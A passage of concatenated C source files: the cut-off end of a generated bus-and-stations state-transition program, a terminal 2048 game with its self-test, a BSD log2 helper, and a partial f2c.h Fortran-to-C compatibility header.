!bus_evt1))) && (bus_cd_id == 19)))) && ((( !s20_evt2) && (s20_evt0 && ( !s20_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 20)))) && ((( !s21_evt2) && (s21_evt0 && ( !s21_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 21)))) && ((( !s22_evt2) && (s22_evt0 && ( !s22_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 22)))) && ((( !s23_evt2) && (s23_evt0 && ( !s23_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 23)))) && ((( !s24_evt2) && (s24_evt0 && ( !s24_evt1))) == ((( !bus_evt2) && (bus_evt0 && ( !bus_evt1))) && (bus_cd_id == 24)))))) && (((delta == _x__diverge_delta) || ( !(1.0 <= _diverge_delta))) && ((1.0 <= _diverge_delta) || ((delta + (_diverge_delta + (-1.0 * _x__diverge_delta))) == 0.0)))) && ((((((((_EL_U_5284 == (_x__EL_U_5284 || ( !(_x__EL_U_5282 || (1.0 <= _x__diverge_delta))))) && ((_EL_U_5282 == (_x__EL_U_5282 || (1.0 <= _x__diverge_delta))) && ((_EL_U_5288 == (_x__EL_U_5288 || ( !((_x_s0_l1 && ( !_x_s0_l0)) || _x__EL_U_5286)))) && ((_EL_U_5286 == ((_x_s0_l1 && ( !_x_s0_l0)) || _x__EL_U_5286)) && ((_EL_U_5290 == ((( !_x_s0_l0) && ( !_x_s0_l1)) || _x__EL_U_5290)) && (_EL_U_5292 == (_x__EL_U_5292 || ( !((( !_x_s0_l0) && ( !_x_s0_l1)) || _x__EL_U_5290))))))))) && (_x__J5319 == (( !(((((_J5319 && _J5325) && _J5330) && _J5336) && _J5343) && _J5349)) && ((((((_J5319 && _J5325) && _J5330) && _J5336) && _J5343) && _J5349) || (((( !s0_l0) && ( !s0_l1)) || ( !((( !s0_l0) && ( !s0_l1)) || _EL_U_5290))) || _J5319))))) && (_x__J5325 == (( !(((((_J5319 && _J5325) && _J5330) && _J5336) && _J5343) && _J5349)) && ((((((_J5319 && _J5325) && _J5330) && _J5336) && _J5343) && _J5349) || ((( !((( !s0_l0) && ( !s0_l1)) || _EL_U_5290)) || ( !(_EL_U_5292 || ( !((( !s0_l0) && ( !s0_l1)) || _EL_U_5290))))) || _J5325))))) && (_x__J5330 == (( !(((((_J5319 && _J5325) && _J5330) && _J5336) && _J5343) && _J5349)) && ((((((_J5319 && _J5325) && _J5330) && _J5336) && _J5343) && _J5349) || (((s0_l1 && ( !s0_l0)) || ( !((s0_l1 && ( !s0_l0)) || _EL_U_5286))) || _J5330))))) && (_x__J5336 == (( !(((((_J5319 && _J5325) && _J5330) && _J5336) && _J5343) && _J5349)) && ((((((_J5319 && _J5325) && _J5330) && _J5336) && _J5343) && _J5349) || ((( !((s0_l1 && ( !s0_l0)) || _EL_U_5286)) || ( !(_EL_U_5288 || ( !((s0_l1 && ( !s0_l0)) || _EL_U_5286))))) || _J5336))))) && (_x__J5343 == (( !(((((_J5319 && _J5325) && _J5330) && _J5336) && _J5343) && _J5349)) && ((((((_J5319 && _J5325) && _J5330) && _J5336) && _J5343) && _J5349) || (((1.0 <= _diverge_delta) || ( !((1.0 <= _diverge_delta) || _EL_U_5282))) || _J5343))))) && (_x__J5349 == (( !(((((_J5319 && _J5325) && _J5330) && _J5336) && _J5343) && _J5349)) && ((((((_J5319 && _J5325) && _J5330) && _J5336) && _J5343) && _J5349) || ((( !((1.0 <= _diverge_delta) || _EL_U_5282)) || ( !(_EL_U_5284 || ( !((1.0 <= _diverge_delta) || _EL_U_5282))))) || _J5349)))))); s22_l0 = _x_s22_l0; _diverge_delta = _x__diverge_delta; s22_l1 = _x_s22_l1; s10_evt0 = _x_s10_evt0; delta = _x_delta; s22_lambda = _x_s22_lambda; s22_x = _x_s22_x; s10_evt1 = _x_s10_evt1; s10_evt2 = _x_s10_evt2; bus_l1 = _x_bus_l1; bus_l0 = _x_bus_l0; s22_backoff = _x_s22_backoff; bus_x = _x_bus_x; s22_evt0 = _x_s22_evt0; s22_evt1 = _x_s22_evt1; s22_evt2 = _x_s22_evt2; bus_j = _x_bus_j; s11_l0 = _x_s11_l0; s11_l1 = _x_s11_l1; s11_lambda = _x_s11_lambda; s11_x = _x_s11_x; bus_evt1 = _x_bus_evt1; bus_evt0 = _x_bus_evt0; bus_evt2 = _x_bus_evt2; s11_backoff = _x_s11_backoff; s23_l0 = _x_s23_l0; s23_l1 = _x_s23_l1; s11_evt0 = _x_s11_evt0; s23_lambda = _x_s23_lambda; s23_x = _x_s23_x; s11_evt1 = _x_s11_evt1; s11_evt2 = _x_s11_evt2; s23_backoff = _x_s23_backoff; s0_l0 = _x_s0_l0; s0_l1 = _x_s0_l1; s0_lambda = _x_s0_lambda; s0_x = _x_s0_x; s23_evt0 = _x_s23_evt0; s23_evt1 = _x_s23_evt1; s23_evt2 = _x_s23_evt2; s0_backoff = _x_s0_backoff; s12_l0 = _x_s12_l0; s12_l1 = _x_s12_l1; s0_evt0 = _x_s0_evt0; s12_lambda = _x_s12_lambda; s12_x = _x_s12_x; s0_evt1 = _x_s0_evt1; s0_evt2 = _x_s0_evt2; s12_backoff = _x_s12_backoff; s24_l0 = _x_s24_l0; s24_l1 = _x_s24_l1; s12_evt0 = _x_s12_evt0; s24_lambda = _x_s24_lambda; s24_x = _x_s24_x; s12_evt1 = _x_s12_evt1; s12_evt2 = _x_s12_evt2; s24_backoff = _x_s24_backoff; s1_l0 = _x_s1_l0; s1_l1 = _x_s1_l1; s1_lambda = _x_s1_lambda; s1_x = _x_s1_x; s24_evt0 = _x_s24_evt0; s24_evt1 = _x_s24_evt1; s24_evt2 = _x_s24_evt2; s1_backoff = _x_s1_backoff; s13_l0 = _x_s13_l0; s13_l1 = _x_s13_l1; s1_evt0 = _x_s1_evt0; s1_evt1 = _x_s1_evt1; s13_lambda = _x_s13_lambda; s13_x = _x_s13_x; s1_evt2 = _x_s1_evt2; s13_backoff = _x_s13_backoff; _J5349 = _x__J5349; s13_evt0 = _x_s13_evt0; _J5343 = _x__J5343; s13_evt1 = _x_s13_evt1; _J5336 = _x__J5336; s13_evt2 = _x_s13_evt2; _J5330 = _x__J5330; _J5325 = _x__J5325; _J5319 = _x__J5319; s2_l0 = _x_s2_l0; _EL_U_5282 = _x__EL_U_5282; s2_l1 = _x_s2_l1; s2_lambda = _x_s2_lambda; s2_x = _x_s2_x; _EL_U_5284 = _x__EL_U_5284; _EL_U_5286 = _x__EL_U_5286; s2_backoff = _x_s2_backoff; _EL_U_5288 = _x__EL_U_5288; _EL_U_5290 = _x__EL_U_5290; s14_l0 = _x_s14_l0; _EL_U_5292 = _x__EL_U_5292; s14_l1 = _x_s14_l1; s2_evt0 = _x_s2_evt0; s14_lambda = _x_s14_lambda; s14_x = _x_s14_x; s2_evt1 = _x_s2_evt1; s2_evt2 = _x_s2_evt2; s14_backoff = _x_s14_backoff; s14_evt0 = _x_s14_evt0; s14_evt1 = _x_s14_evt1; s14_evt2 = _x_s14_evt2; bus_cd_id = _x_bus_cd_id; s3_l0 = _x_s3_l0; s3_l1 = _x_s3_l1; s3_lambda = _x_s3_lambda; s3_x = _x_s3_x; s3_backoff = _x_s3_backoff; s15_l0 = _x_s15_l0; s15_l1 = _x_s15_l1; s3_evt0 = _x_s3_evt0; s15_lambda = _x_s15_lambda; s15_x = _x_s15_x; s3_evt1 = _x_s3_evt1; s3_evt2 = _x_s3_evt2; s15_backoff = _x_s15_backoff; s15_evt0 = _x_s15_evt0; s15_evt1 = _x_s15_evt1; s15_evt2 = _x_s15_evt2; s4_l0 = _x_s4_l0; s4_l1 = _x_s4_l1; s4_lambda = _x_s4_lambda; s4_x = _x_s4_x; s4_backoff = _x_s4_backoff; s16_l0 = _x_s16_l0; s16_l1 = _x_s16_l1; s4_evt0 = _x_s4_evt0; s16_lambda = _x_s16_lambda; s16_x = _x_s16_x; s4_evt1 = _x_s4_evt1; s4_evt2 = _x_s4_evt2; s16_backoff = _x_s16_backoff; s16_evt0 = _x_s16_evt0; s16_evt1 = _x_s16_evt1; s16_evt2 = _x_s16_evt2; s5_l0 = _x_s5_l0; s5_l1 = _x_s5_l1; s5_lambda = _x_s5_lambda; s5_x = _x_s5_x; s5_backoff = _x_s5_backoff; s17_l0 = _x_s17_l0; s17_l1 = _x_s17_l1; s5_evt0 = _x_s5_evt0; s17_lambda = _x_s17_lambda; s17_x = _x_s17_x; s5_evt1 = _x_s5_evt1; s5_evt2 = _x_s5_evt2; s17_backoff = _x_s17_backoff; s17_evt0 = _x_s17_evt0; s17_evt1 = _x_s17_evt1; s17_evt2 = _x_s17_evt2; s6_l0 = _x_s6_l0; s6_l1 = _x_s6_l1; s6_lambda = _x_s6_lambda; s6_x = _x_s6_x; s6_backoff = _x_s6_backoff; s18_l0 = _x_s18_l0; s18_l1 = _x_s18_l1; s6_evt0 = _x_s6_evt0; s18_lambda = _x_s18_lambda; s18_x = _x_s18_x; s6_evt1 = _x_s6_evt1; s6_evt2 = _x_s6_evt2; s18_backoff = _x_s18_backoff; s18_evt0 = _x_s18_evt0; s18_evt1 = _x_s18_evt1; s18_evt2 = _x_s18_evt2; s7_l0 = _x_s7_l0; s7_l1 = _x_s7_l1; s7_lambda = _x_s7_lambda; s7_x = _x_s7_x; s7_backoff = _x_s7_backoff; s19_l0 = _x_s19_l0; s19_l1 = _x_s19_l1; s7_evt0 = _x_s7_evt0; s19_lambda = _x_s19_lambda; s19_x = _x_s19_x; s7_evt1 = _x_s7_evt1; s7_evt2 = _x_s7_evt2; s19_backoff = _x_s19_backoff; s19_evt0 = _x_s19_evt0; s19_evt1 = _x_s19_evt1; s19_evt2 = _x_s19_evt2; s8_l0 = _x_s8_l0; s8_l1 = _x_s8_l1; s8_lambda = _x_s8_lambda; s8_x = _x_s8_x; s8_backoff = _x_s8_backoff; s20_l0 = _x_s20_l0; s20_l1 = _x_s20_l1; s8_evt0 = _x_s8_evt0; s20_lambda = _x_s20_lambda; s20_x = _x_s20_x; s8_evt1 = _x_s8_evt1; s8_evt2 = _x_s8_evt2; s20_backoff = _x_s20_backoff; s20_evt0 = _x_s20_evt0; s20_evt1 = _x_s20_evt1; s20_evt2 = _x_s20_evt2; s9_l0 = _x_s9_l0; s9_l1 = _x_s9_l1; s9_lambda = _x_s9_lambda; s9_x = _x_s9_x; s9_backoff = _x_s9_backoff; s21_l0 = _x_s21_l0; s21_l1 = _x_s21_l1; s9_evt0 = _x_s9_evt0; s21_lambda = _x_s21_lambda; s21_x = _x_s21_x; s9_evt1 = _x_s9_evt1; s9_evt2 = _x_s9_evt2; s21_backoff = _x_s21_backoff; s21_evt0 = _x_s21_evt0; s21_evt1 = _x_s21_evt1; s21_evt2 = _x_s21_evt2; s10_l0 = _x_s10_l0; s10_l1 = _x_s10_l1; s10_lambda = _x_s10_lambda; s10_x = _x_s10_x; s10_backoff = _x_s10_backoff; } }
the_stack_data/118445.c
/* The MIT License (MIT) Copyright (c) 2014 Maurits van der Schee Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /* ============================================================================ Name : 2048.c Author : Maurits van der Schee Description : Console version of the game "2048" for GNU/Linux ============================================================================ */ #define _XOPEN_SOURCE 500 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <termios.h> #include <stdbool.h> #include <stdint.h> #include <time.h> #include <signal.h> #define SIZE 4 uint32_t score=0; uint8_t scheme=0; void getColor(uint8_t value, char *color, size_t length) { uint8_t original[] = {8,255,1,255,2,255,3,255,4,255,5,255,6,255,7,255,9,0,10,0,11,0,12,0,13,0,14,0,255,0,255,0}; uint8_t blackwhite[] = {232,255,234,255,236,255,238,255,240,255,242,255,244,255,246,0,248,0,249,0,250,0,251,0,252,0,253,0,254,0,255,0}; uint8_t bluered[] = {235,255,63,255,57,255,93,255,129,255,165,255,201,255,200,255,199,255,198,255,197,255,196,255,196,255,196,255,196,255,196,255}; uint8_t *schemes[] = {original,blackwhite,bluered}; uint8_t *background = schemes[scheme]+0; uint8_t *foreground = schemes[scheme]+1; if (value > 0) while (value--) { if (background+2<schemes[scheme]+sizeof(original)) { background+=2; foreground+=2; } } snprintf(color,length,"\e[38;5;%d;48;5;%dm",*foreground,*background); } void drawBoard(uint8_t board[SIZE][SIZE]) { uint8_t x,y; char c; char color[40], reset[] = "\e[m"; printf("\e[H"); printf("2048.c %17d pts\n\n",score); for (y=0;y<SIZE;y++) { for (x=0;x<SIZE;x++) { getColor(board[x][y],color,40); printf("%s",color); printf(" "); printf("%s",reset); } printf("\n"); for (x=0;x<SIZE;x++) { getColor(board[x][y],color,40); printf("%s",color); if (board[x][y]!=0) { char s[8]; snprintf(s,8,"%u",(uint32_t)1<<board[x][y]); uint8_t t = 7-strlen(s); printf("%*s%s%*s",t-t/2,"",s,t/2,""); } else { printf(" · "); } printf("%s",reset); } printf("\n"); for (x=0;x<SIZE;x++) { getColor(board[x][y],color,40); printf("%s",color); printf(" "); printf("%s",reset); } printf("\n"); } printf("\n"); printf(" ←,↑,→,↓ or q \n"); printf("\e[A"); // one line up } uint8_t findTarget(uint8_t array[SIZE],uint8_t x,uint8_t stop) { uint8_t t; // if the position is already on the first, don't evaluate if (x==0) { return x; } for(t=x-1;t>=0;t--) { if (array[t]!=0) { if (array[t]!=array[x]) { // merge is not possible, take next position return t+1; } return t; } else { // we should not slide further, return this one if (t==stop) { return t; } } } // we did not find a return x; } bool slideArray(uint8_t array[SIZE]) { bool success = false; uint8_t x,t,stop=0; for (x=0;x<SIZE;x++) { if (array[x]!=0) { t = findTarget(array,x,stop); // if target is not original position, then move or merge if (t!=x) { // if target is zero, this is a move if (array[t]==0) { array[t]=array[x]; } else if (array[t]==array[x]) { // merge (increase power of two) array[t]++; // increase score score+=(uint32_t)1<<array[t]; // set stop to avoid double merge stop = t+1; } array[x]=0; success = true; } } } return success; } void rotateBoard(uint8_t board[SIZE][SIZE]) { uint8_t i,j,n=SIZE; uint8_t tmp; for (i=0; i<n/2; i++) { for (j=i; j<n-i-1; j++) { tmp = board[i][j]; board[i][j] = board[j][n-i-1]; board[j][n-i-1] = board[n-i-1][n-j-1]; board[n-i-1][n-j-1] = board[n-j-1][i]; board[n-j-1][i] = tmp; } } } bool moveUp(uint8_t board[SIZE][SIZE]) { bool success = false; uint8_t x; for (x=0;x<SIZE;x++) { success |= slideArray(board[x]); } return success; } bool moveLeft(uint8_t board[SIZE][SIZE]) { bool success; rotateBoard(board); success = moveUp(board); rotateBoard(board); rotateBoard(board); rotateBoard(board); return success; } bool moveDown(uint8_t board[SIZE][SIZE]) { bool success; rotateBoard(board); rotateBoard(board); success = moveUp(board); rotateBoard(board); rotateBoard(board); return success; } bool moveRight(uint8_t board[SIZE][SIZE]) { bool success; rotateBoard(board); rotateBoard(board); rotateBoard(board); success = moveUp(board); rotateBoard(board); return success; } bool findPairDown(uint8_t board[SIZE][SIZE]) { bool success = false; uint8_t x,y; for (x=0;x<SIZE;x++) { for (y=0;y<SIZE-1;y++) { if (board[x][y]==board[x][y+1]) return true; } } return success; } uint8_t countEmpty(uint8_t board[SIZE][SIZE]) { uint8_t x,y; uint8_t count=0; for (x=0;x<SIZE;x++) { for (y=0;y<SIZE;y++) { if (board[x][y]==0) { count++; } } } return count; } bool gameEnded(uint8_t board[SIZE][SIZE]) { bool ended = true; if (countEmpty(board)>0) return false; if (findPairDown(board)) return false; rotateBoard(board); if (findPairDown(board)) ended = false; rotateBoard(board); rotateBoard(board); rotateBoard(board); return ended; } void addRandom(uint8_t board[SIZE][SIZE]) { static bool initialized = false; uint8_t x,y; uint8_t r,len=0; uint8_t n,list[SIZE*SIZE][2]; if (!initialized) { srand(time(NULL)); initialized = true; } for (x=0;x<SIZE;x++) { for (y=0;y<SIZE;y++) { if (board[x][y]==0) { list[len][0]=x; list[len][1]=y; len++; } } } if (len>0) { r = rand()%len; x = list[r][0]; y = list[r][1]; n = (rand()%10)/9+1; board[x][y]=n; } } void initBoard(uint8_t board[SIZE][SIZE]) { uint8_t x,y; for (x=0;x<SIZE;x++) { for (y=0;y<SIZE;y++) { board[x][y]=0; } } addRandom(board); addRandom(board); drawBoard(board); score = 0; } void setBufferedInput(bool enable) { static bool enabled = true; static struct termios old; struct termios new; if (enable && !enabled) { // restore the former settings tcsetattr(STDIN_FILENO,TCSANOW,&old); // set the new state enabled = true; } else if (!enable && enabled) { // get the terminal settings for standard input tcgetattr(STDIN_FILENO,&new); // we want to keep the old setting to restore them at the end old = new; // disable canonical mode (buffered i/o) and local echo new.c_lflag &=(~ICANON & ~ECHO); // set the new settings immediately tcsetattr(STDIN_FILENO,TCSANOW,&new); // set the new state enabled = false; } } int test(void) { uint8_t array[SIZE]; // these are exponents with base 2 (1=2 2=4 3=8) uint8_t data[] = { 0,0,0,1, 1,0,0,0, 0,0,1,1, 2,0,0,0, 0,1,0,1, 2,0,0,0, 1,0,0,1, 2,0,0,0, 1,0,1,0, 2,0,0,0, 1,1,1,0, 2,1,0,0, 1,0,1,1, 2,1,0,0, 1,1,0,1, 2,1,0,0, 1,1,1,1, 2,2,0,0, 2,2,1,1, 3,2,0,0, 1,1,2,2, 2,3,0,0, 3,0,1,1, 3,2,0,0, 2,0,1,1, 2,2,0,0 }; uint8_t *in,*out; uint8_t t,tests; uint8_t i; bool success = true; tests = (sizeof(data)/sizeof(data[0]))/(2*SIZE); for (t=0;t<tests;t++) { in = data+t*2*SIZE; out = in + SIZE; for (i=0;i<SIZE;i++) { array[i] = in[i]; } slideArray(array); for (i=0;i<SIZE;i++) { if (array[i] != out[i]) { success = false; } } if (success==false) { for (i=0;i<SIZE;i++) { printf("%d ",in[i]); } printf("=> "); for (i=0;i<SIZE;i++) { printf("%d ",array[i]); } printf("expected "); for (i=0;i<SIZE;i++) { printf("%d ",in[i]); } printf("=> "); for (i=0;i<SIZE;i++) { printf("%d ",out[i]); } printf("\n"); break; } } if (success) { printf("All %u tests executed successfully\n",tests); } return !success; } void signal_callback_handler(int signum) { printf(" TERMINATED \n"); setBufferedInput(true); printf("\e[?25h\e[m"); exit(signum); } // rename to main_2048 so we can call it in walrus later int main_2048(int argc, char *argv[]) { uint8_t board[SIZE][SIZE]; char c; bool success; if (argc == 2 && strcmp(argv[1],"test")==0) { return test(); } if (argc == 2 && strcmp(argv[1],"blackwhite")==0) { scheme = 1; } if (argc == 2 && strcmp(argv[1],"bluered")==0) { scheme = 2; } printf("\e[?25l\e[2J"); // register signal handler for when ctrl-c is pressed signal(SIGINT, signal_callback_handler); initBoard(board); setBufferedInput(false); while (true) { c=getchar(); switch(c) { case 97: // 'a' key case 104: // 'h' key case 68: // left arrow success = moveLeft(board); break; case 100: // 'd' key case 108: // 'l' key case 67: // right arrow success = moveRight(board); break; case 119: // 'w' key case 107: // 'k' key case 65: // up arrow success = moveUp(board); break; case 115: // 's' key case 106: // 'j' key case 66: // down arrow success = moveDown(board); break; default: success = false; } if (success) { drawBoard(board); usleep(150000); addRandom(board); drawBoard(board); if (gameEnded(board)) { printf(" GAME OVER \n"); break; } } if (c=='q') { printf(" QUIT? (y/n) \n"); c=getchar(); if (c=='y') { break; } drawBoard(board); } if (c=='r') { printf(" RESTART? (y/n) \n"); c=getchar(); if (c=='y') { initBoard(board); } drawBoard(board); } } setBufferedInput(true); printf("\e[?25h\e[m"); return EXIT_SUCCESS; }
the_stack_data/159516619.c
/*- * Copyright (c) 1990, 1993 * The Regents of the University of California. All rights reserved. * * This code is derived from software contributed to Berkeley by * Margo Seltzer. * * %sccs.include.redist.c% */ #if defined(LIBC_SCCS) && !defined(lint) static char sccsid[] = "@(#)hash_log2.c 8.1 (Berkeley) 06/04/93"; #endif /* LIBC_SCCS and not lint */ #include <sys/types.h> u_int __log2(num) u_int num; { register u_int i, limit; limit = 1; for (i = 0; limit < num; limit = limit << 1, i++); return (i); }
the_stack_data/294931.c
/* f2c.h -- Standard Fortran to C header file */ /** barf [ba:rf] 2. "He suggested using FORTRAN, and everybody barfed." - From The Shogakukan DICTIONARY OF NEW ENGLISH (Second edition) */ #ifndef F2C_INCLUDE #define F2C_INCLUDE #include <math.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <complex.h> #ifdef complex #undef complex #endif #ifdef I #undef I #endif #if defined(_WIN64) typedef long long BLASLONG; typedef unsigned long long BLASULONG; #else typedef long BLASLONG; typedef unsigned long BLASULONG; #endif #ifdef LAPACK_ILP64 typedef BLASLONG blasint; #if defined(_WIN64) #define blasabs(x) llabs(x) #else #define blasabs(x) labs(x) #endif #else typedef int blasint; #define blasabs(x) abs(x) #endif typedef blasint integer; typedef unsigned int uinteger; typedef char *address; typedef short int shortint; typedef float real; typedef double doublereal; typedef struct { real r, i; } complex; typedef struct { doublereal r, i; } doublecomplex; static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;} static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;} static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;} static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;} #define pCf(z) (*_pCf(z)) #define pCd(z) (*_pCd(z)) typedef int logical; typedef short int shortlogical; typedef char logical1; typedef char integer1; #define TRUE_ (1) #define FALSE_ (0) /* Extern is for use with -E */ #ifndef Extern #define Extern extern #endif /* I/O stuff */ typedef int flag; typedef int ftnlen; typedef int ftnint; /*external read, write*/ typedef struct { flag cierr; ftnint ciunit; flag ciend; char *cifmt; ftnint cirec; } cilist; /*internal read, write*/ typedef struct { flag icierr; char *iciunit; flag iciend; char *icifmt; ftnint icirlen; ftnint icirnum; } icilist; /*open*/ typedef struct { flag oerr; ftnint ounit; char *ofnm; ftnlen ofnmlen; char *osta; char *oacc; char *ofm; ftnint orl; char *oblnk; } olist; /*close*/ typedef struct { flag cerr; ftnint cunit; char *csta; } cllist; /*rewind, backspace, endfile*/ typedef struct { flag aerr; ftnint aunit; } alist; /* inquire */ typedef struct { flag inerr; ftnint inunit; char *infile; ftnlen infilen; ftnint *inex; /*parameters in standard's order*/ ftnint *inopen; ftnint *innum; ftnint *innamed; char *inname; ftnlen innamlen; char *inacc; ftnlen inacclen; char *inseq; ftnlen inseqlen; char *indir; ftnlen indirlen; char *infmt; ftnlen infmtlen; char *inform; ftnint informlen; char *inunf; ftnlen inunflen; ftnint *inrecl; ftnint *innrec; char *inblank; ftnlen inblanklen; } inlist; #define VOID void union Multitype { /* for multiple entry points */ integer1 g; shortint h; integer i; /* longint j; */ real r; doublereal d; complex c; doublecomplex z; }; typedef union Multitype Multitype; struct Vardesc { /* for Namelist */ char *name; char *addr; ftnlen *dims; int type; }; typedef struct Vardesc Vardesc; struct Namelist { char *name; Vardesc **vars; int nvars; }; typedef struct Namelist Namelist; #define abs(x) ((x) >= 0 ? (x) : -(x)) #define dabs(x) (fabs(x)) #define f2cmin(a,b) ((a) <= (b) ? (a) : (b)) #define f2cmax(a,b) ((a) >= (b) ? (a) : (b)) #define dmin(a,b) (f2cmin(a,b)) #define dmax(a,b) (f2cmax(a,b)) #define bit_test(a,b) ((a) >> (b) & 1) #define bit_clear(a,b) ((a) & ~((uinteger)1 << (b))) #define bit_set(a,b) ((a) | ((uinteger)1 << (b))) #define abort_() { sig_die("Fortran abort routine called", 1); } #define c_abs(z) (cabsf(Cf(z))) #define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); } #define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);} #define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);} #define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));} #define c_log(R, Z) {pCf(R) = clogf(Cf(Z));} #define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));} //#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));} #define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));} #define d_abs(x) (fabs(*(x))) #define d_acos(x) (acos(*(x))) #define d_asin(x) (asin(*(x))) #define d_atan(x) (atan(*(x))) #define d_atn2(x, y) (atan2(*(x),*(y))) #define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); } #define r_cnjg(R, Z) { pCf(R) = conj(Cf(Z)); } #define d_cos(x) (cos(*(x))) #define d_cosh(x) (cosh(*(x))) #define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 ) #define d_exp(x) (exp(*(x))) #define d_imag(z) (cimag(Cd(z))) #define r_imag(z) (cimag(Cf(z))) #define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define d_log(x) (log(*(x))) #define d_mod(x, y) (fmod(*(x), *(y))) #define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x))) #define d_nint(x) u_nint(*(x)) #define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a))) #define d_sign(a,b) u_sign(*(a),*(b)) #define r_sign(a,b) u_sign(*(a),*(b)) #define d_sin(x) (sin(*(x))) #define d_sinh(x) (sinh(*(x))) #define d_sqrt(x) (sqrt(*(x))) #define d_tan(x) (tan(*(x))) #define d_tanh(x) (tanh(*(x))) #define i_abs(x) abs(*(x)) #define i_dnnt(x) ((integer)u_nint(*(x))) #define i_len(s, n) (n) #define i_nint(x) ((integer)u_nint(*(x))) #define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b))) #define pow_dd(ap, bp) ( pow(*(ap), *(bp))) #define pow_si(B,E) spow_ui(*(B),*(E)) #define pow_ri(B,E) spow_ui(*(B),*(E)) #define pow_di(B,E) dpow_ui(*(B),*(E)) #define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));} #define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));} #define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));} #define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; } #define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d)))) #define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; } #define sig_die(s, kill) { exit(1); } #define s_stop(s, n) {exit(0);} static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n"; #define z_abs(z) (cabs(Cd(z))) #define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));} #define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));} #define myexit_() break; #define mycycle_() continue; #define myceiling_(w) ceil(w) #define myhuge_(w) HUGE_VAL //#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);} #define mymaxloc_(w,s,e,n) dmaxloc_(w,*(s),*(e),n) /* procedure parameter types for -A and -C++ */ #define F2C_proc_par_types 1 #ifdef __cplusplus typedef logical (*L_fp)(...); #else typedef logical (*L_fp)(); #endif static float spow_ui(float x, integer n) { float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static double dpow_ui(double x, integer n) { double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static _Complex float cpow_ui(_Complex float x, integer n) { _Complex float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static _Complex double zpow_ui(_Complex double x, integer n) { _Complex double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer pow_ii(integer x, integer n) { integer pow; unsigned long int u; if (n <= 0) { if (n == 0 || x == 1) pow = 1; else if (x != -1) pow = x == 0 ? 1/x : 0; else n = -n; } if ((n > 0) || !(n == 0 || x == 1 || x != -1)) { u = n; for(pow = 1; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer 